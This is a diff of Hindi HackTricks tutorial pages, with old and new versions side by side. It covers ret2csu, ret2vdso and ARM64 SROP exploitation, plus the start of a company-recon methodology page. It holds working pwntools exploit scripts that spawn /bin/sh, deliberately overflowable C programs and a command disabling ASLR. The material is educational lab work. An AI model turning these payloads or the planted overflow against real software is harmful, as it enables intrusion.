2. **दूसरा गैजेट उपयोग करें**: इन रजिस्टरों को सेट करके, आप दूसरे गैजेट का उपयोग करते हैं। इससे आप अपने चुने गए मानों को `rdx` और `rsi` में ले आ सकते हैं (r14 और r13 से अनुसार), फ़ंक्शन कॉल के लिए पैरामीटर तैयार कर सकते हैं। इसके अतिरिक्त, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को एक फ़ंक्शन कॉल करने के लिए एक पते पर स्थित फ़ंक्शन को कॉल करने के लिए उस पते में जोड़ने के लिए `[r15 + rbx*8]` में रख सकते हैं।
|
||||
1. **रजिस्टर सेट करें**: पहले जादूगर गैजेट का उपयोग करें ताकि आप स्टैक से मानों को पॉप करके rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
2. **दूसरा गैजेट उपयोग करें**: इन रजिस्टरों को सेट करके, आप दूसरे गैजेट का उपयोग करते हैं। इससे आप अपने चुने हुए मानों को `rdx` और `rsi` में ले आ सकते हैं (यानी r14 और r13 से), फ़ंक्शन कॉल के लिए पैरामीटर तैयार कर सकते हैं। इसके अतिरिक्त, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को एक फ़ंक्शन को कॉल करने के लिए पता किए गए पते पर फ़ंक्शन को कॉल करने के लिए बना सकते हैं और `[r15 + rbx*8]` में रख सकते हैं।
|
||||
|
||||
आपके पास [**इस तकनीक का उपयोग करने और इसे समझाने का उदाहरण है**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), और यह उसने उपयोग किया गया अंतिम उत्पीड़न है:
|
||||
आपके पास [**इस तकनीक का उपयोग करने और इसे समझाने के लिए एक उदाहरण है**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), और यह उसका उपयोग किया गया अंतिम उत्पीड़न है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -123,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
ध्यान दें कि पिछला एक्सप्लॉइट **`RCE`** करने के लिए नहीं है, यह केवल एक फ़ंक्शन को बुलाने के लिए है जिसका नाम **`win`** है (gets को ROP श्रृंखला में stdin से `win` का पता लगाकर और इसे r15 में स्टोर करके तीसरे तर्क के साथ) जिसका मान `0xdeadbeefcafed00d` है।
|
||||
कृपया ध्यान दें कि पिछला एक्सप्लॉइट **`RCE`** करने के लिए नहीं है, यह केवल एक फ़ंक्शन को बुलाने के लिए है जिसका नाम **`win`** है (gets को ROP श्रृंखला में stdin से `win` का पता लगाकर और इसे r15 में स्टोर करके तीसरे तर्क के साथ) जिसका मान `0xdeadbeefcafed00d` है।
|
||||
{% endhint %}
|
||||
|
||||
### कॉल को छोड़कर और रिट तक पहुंचना
|
||||
|
||||
निम्नलिखित एक्सप्लॉइट [**इस पेज से निकाला गया था**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) जहां **ret2csu** का उपयोग किया गया था लेकिन कॉल का उपयोग करने की बजाय, **तुलनाएँ छोड़ रहा है और कॉल के बाद `ret` तक पहुंच रहा है**:
|
||||
निम्नलिखित एक्सप्लॉइट [**इस पेज से निकाला गया था**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) जहां **ret2csu** का उपयोग किया गया था लेकिन कॉल का उपयोग करने की बजाय, **तुलनाएँ छोड़कर और कॉल के बाद `ret` तक पहुंचने** की कोशिश की गई थी:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -180,4 +180,4 @@ target.interactive()
|
|||
```
|
||||
### क्यों न केवल libc का प्रयोग करें?
|
||||
|
||||
सामान्यत: ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन सभी पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जो आपको सीधे libc में पाए जाने वाले गैजेट्स के साथ आसानी से नियंत्रित नहीं किया जा सकता है। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
सामान्यत: ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन सभी पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जो आपको libc में सीधे मिलने वाले गैजेट्स के साथ आसानी से नियंत्रित नहीं किया जा सकता है। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
|
|
|
@ -6,19 +6,19 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
## मौलिक जानकारी
|
||||
|
||||
वीडीएसओ क्षेत्र में **गैजेट्स** हो सकते हैं, जो उपयोगकर्ता मोड से कर्णेल मोड में परिवर्तन के लिए उपयोग किया जाता है। इस प्रकार के चुनौतियों में, आम तौर पर एक कर्णेल छवि प्रदान की जाती है जिससे वीडीएसओ क्षेत्र को डंप करने के लिए।
|
||||
वीडीएसओ क्षेत्र में **गैजेट्स** हो सकते हैं, जो उपयोगकर्ता मोड से कर्णेल मोड में बदलने के लिए उपयोग किए जाते हैं। इस प्रकार के चुनौतियों में, आम तौर पर एक कर्णेल छवि प्रदान की जाती है ताकि वीडीएसओ क्षेत्र को डंप किया जा सके।
|
||||
|
||||
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) से उदाहरण का पालन करते हुए, वीडीएसओ सेक्शन को डंप करना और इसे होस्ट पर ले जाना संभव था।
|
||||
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) के उदाहरण का पालन करते हुए, वीडीएसओ सेक्शन को डंप करना और इसे होस्ट पर ले जाना संभव था।
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
|
@ -63,16 +63,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
|||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
ध्यान दें कि यदि कर्नेल CONFIG\_COMPAT\_VDSO के साथ कॉम्पाइल किया गया है, तो **vdso का दुरुपयोग करके ASLR को छलकर सकता है** यदि vdso पता यादृच्छिक नहीं होगा: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
काली 2023.2 arm64 में एक बाइनरी के vdso सेक्शन को डंप करने और जांचने के बाद, मुझे वहां कोई भी दिलचस्प गैजेट नहीं मिला (स्टैक में मौजूद मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं था या x30 को नियंत्रित करने के लिए एक ret) **केवल SROP को कॉल करने का एक तरीका** है। पेज से अधिक जानकारी के लिए उदाहरण देखें:
|
||||
|
||||
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
||||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) का खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,32 +7,74 @@
|
|||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
## Code
|
||||
## Pwntools उदाहरण
|
||||
|
||||
इस उदाहरण में एक वंशीय बाइनरी बनाया जा रहा है और इसका शोषण किया जा रहा है। बाइनरी **स्टैक में पढ़ता है** और फिर **`sigreturn`** को कॉल करता है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binsh = "/bin/sh"
|
||||
context.clear()
|
||||
context.arch = "arm64"
|
||||
|
||||
asm = ''
|
||||
asm += 'sub sp, sp, 0x1000\n'
|
||||
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
|
||||
asm += shellcraft.sigreturn() # Call sigreturn
|
||||
asm += 'syscall: \n' #Easy symbol to use in the exploit
|
||||
asm += shellcraft.syscall()
|
||||
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
|
||||
binary = ELF.from_assembly(asm)
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_execve
|
||||
frame.x0 = binary.symbols['binsh']
|
||||
frame.x1 = 0x00
|
||||
frame.x2 = 0x00
|
||||
frame.pc = binary.symbols['syscall']
|
||||
|
||||
p = process(binary.path)
|
||||
p.send(bytes(frame))
|
||||
p.interactive()
|
||||
```
|
||||
## bof उदाहरण
|
||||
|
||||
### कोड
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x0, #139; svc #0;");
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
|
@ -42,13 +84,9 @@ Compile करें:
|
|||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## शोषण
|
||||
## शातिर्ता
|
||||
|
||||
यह शोषण **`sigreturn`** को कॉल करने के लिए bof का दुरुपयोग करता है और स्टैक को `/bin/sh` के पॉइंटर के साथ **`execve`** को कॉल करने के लिए तैयार करता है।
|
||||
|
||||
{% hint style="danger" %}
|
||||
किसी कारण से मुझे पता नहीं है कि **`sigreturn`** को कॉल करने के बावजूद कुछ भी नहीं हो रहा है इसलिए यह काम नहीं कर रहा है।
|
||||
{% endhint %}
|
||||
यह शातिर्ता **`sigreturn`** को कॉल करने के लिए bof का दुरुपयोग करता है और स्टैक को `/bin/sh` के पॉइंटर के साथ **`execve`** को कॉल करने के लिए तैयार करता है।
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -58,41 +96,109 @@ libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
|||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
|
||||
svc_call = 0x00000000004006a4 # svc #0x0
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh # pointer to /bin/sh
|
||||
frame.x1 = 0x4343434343434343 # NULL
|
||||
frame.x2 = 0x0 # NULL
|
||||
frame.x0 = binsh
|
||||
frame.x1 = 0x00 # NULL
|
||||
frame.x2 = 0x00 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += b"B" * len(bytes(frame))
|
||||
|
||||
with open("/tmp/i", "wb") as f:
|
||||
f.write(payload)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## बिनरी अनुभव बिना सिगरिटर्न के उदाहरण
|
||||
|
||||
### कोड
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## शात्रुता
|
||||
|
||||
**`vdso`** खंड में **`sigreturn`** को कॉल करने के लिए **`0x7b0`** ऑफसेट में पाया जा सकता है:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
इसलिए, यदि लीक हो जाए, तो यह पता उपयोग किया जा सकता है **`sigreturn`** तक पहुंचने के लिए यदि बाइनरी इसे लोड नहीं कर रहा है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./srop')
|
||||
elf = context.binary = ELF('./srop')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh
|
||||
frame.x1 = 0x00 # NULL
|
||||
frame.x2 = 0x00 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
अधिक जानकारी के लिए vdso की जाँच करें:
|
||||
|
||||
{% content-ref url="../ret2vdso.md" %}
|
||||
[ret2vdso.md](../ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
और `/bin/sh` का पता लगाने के लिए आप इसे इंगित करने वाली कई env variables बना सकते हैं, अधिक जानकारी के लिए:
|
||||
|
||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **हैकिंग ट्रिक्स साझा करें** हैकिंग ट्रिक्स को **HackTricks** और **HackTricks Cloud** github repos में PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,51 +8,51 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## संपत्ति खोजें
|
||||
## संपत्तियों की खोज
|
||||
|
||||
> तो आपको कहा गया था कि किसी कंपनी के सभी वस्तुएं स्कोप में हैं, और आपको समझना है कि यह कंपनी वास्तव में क्या स्वामित्व करती है।
|
||||
> तो आपको कहा गया था कि किसी कंपनी के सभी वस्तुएं स्कोप में हैं, और आपको यह जानना है कि यह कंपनी वास्तव में क्या स्वामित्व रखती है।
|
||||
|
||||
इस चरण का उद्देश्य है कि **मुख्य कंपनी द्वारा स्वामित्वित सभी कंपनियों** को प्राप्त करें और फिर इन कंपनियों की **संपत्तियों** को प्राप्त करें। इसे करने के लिए हमें निम्नलिखित करना होगा:
|
||||
इस चरण का उद्देश्य है कि **मुख्य कंपनी द्वारा स्वामित्वित सभी कंपनियों** को प्राप्त करें और फिर इन कंपनियों की **संपत्तियों** को प्राप्त करें। इसे करने के लिए हमें करना होगा:
|
||||
|
||||
1. मुख्य कंपनी की अधिग्रहणों का पता लगाना, यह हमें स्कोप में कंपनियों को देगा।
|
||||
2. प्रत्येक कंपनी का ASN (यदि कोई है), यह हमें प्रत्येक कंपनी द्वारा स्वामित्वित IP रेंज देगा।
|
||||
3. अन्य प्रविष्टियों (संगठन नाम, डोमेन आदि) के लिए पुनर्वार्ती व्हूइस लुकअप का उपयोग करें (यह पुनरावृत्तिक रूप से किया जा सकता है)
|
||||
4. अन्य तकनीकों का उपयोग करें जैसे shodan `org` और `ssl` फ़िल्टर्स अन्य संपत्तियों के लिए खोजने के लिए (यह `ssl` ट्रिक पुनरावृत्तिक रूप से किया जा सकता है)।
|
||||
2. प्रत्येक कंपनी का ASN (यदि कोई है) खोजना, यह हमें प्रत्येक कंपनी द्वारा स्वामित्वित IP रेंज देगा
|
||||
3. पहले वाले से संबंधित अन्य एंट्री (संगठन के नाम, डोमेन आदि) के लिए रिवर्स whois लुकअप का उपयोग करें (यह पुनरावृत्ति किया जा सकता है)
|
||||
4. अन्य तकनीकों का उपयोग करें जैसे shodan `org` और `ssl` फ़िल्टर अन्य संपत्तियों के लिए खोजने के लिए (यह `ssl` ट्रिक पुनरावृत्ति किया जा सकता है)।
|
||||
|
||||
### **अधिग्रहण**
|
||||
|
||||
सबसे पहले, हमें जानना होगा कि मुख्य कंपनी द्वारा कौन सी **अन्य कंपनियाँ स्वामित्वित हैं**।\
|
||||
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाने, **मुख्य कंपनी** के लिए **खोज** करें, और "**अधिग्रहण**" पर **क्लिक** करें। वहां आपको मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ दिखाई देंगी।\
|
||||
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोजना।
|
||||
सबसे पहले, हमें जानना होगा कि **मुख्य कंपनी द्वारा कितनी अन्य कंपनियां स्वामित्वित हैं**।\
|
||||
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाने, **मुख्य कंपनी** के लिए **खोज** करें, और "**अधिग्रहण**" पर **क्लिक** करें। वहां आपको मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियों को दिखाया जाएगा।\
|
||||
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाने और **अधिग्रहण** के लिए खोज करना।
|
||||
|
||||
> ठीक है, इस बिंदु पर आपको स्कोप में उनकी संपत्तियों को कैसे खोजना है, इसे समझ लेना चाहिए।
|
||||
> ठीक है, इस बिंदु पर आपको स्कोप की सभी कंपनियों को जानना चाहिए। चलिए उनकी संपत्तियों को कैसे खोजें, इसे समझते हैं।
|
||||
|
||||
### **ASNs**
|
||||
|
||||
एक स्वतंत्र प्रणाली संख्या (**ASN**) एक **इंटरनेट निर्धारित संख्या प्राधिकरण (IANA)** द्वारा एक **स्वतंत्र प्रणाली** (AS) को दी गई एक **अद्वितीय संख्या** है।\
|
||||
एक **AS** में **आईपी पतों** के **ब्लॉक** होते हैं जिनके लिए बाह्य नेटवर्क तक पहुंचने के लिए एक स्पष्ट नीति होती है और एक ही संगठन द्वारा प्रबंधित होते हैं लेकिन कई ऑपरेटर्स से मिलकर बने हो सकते हैं।
|
||||
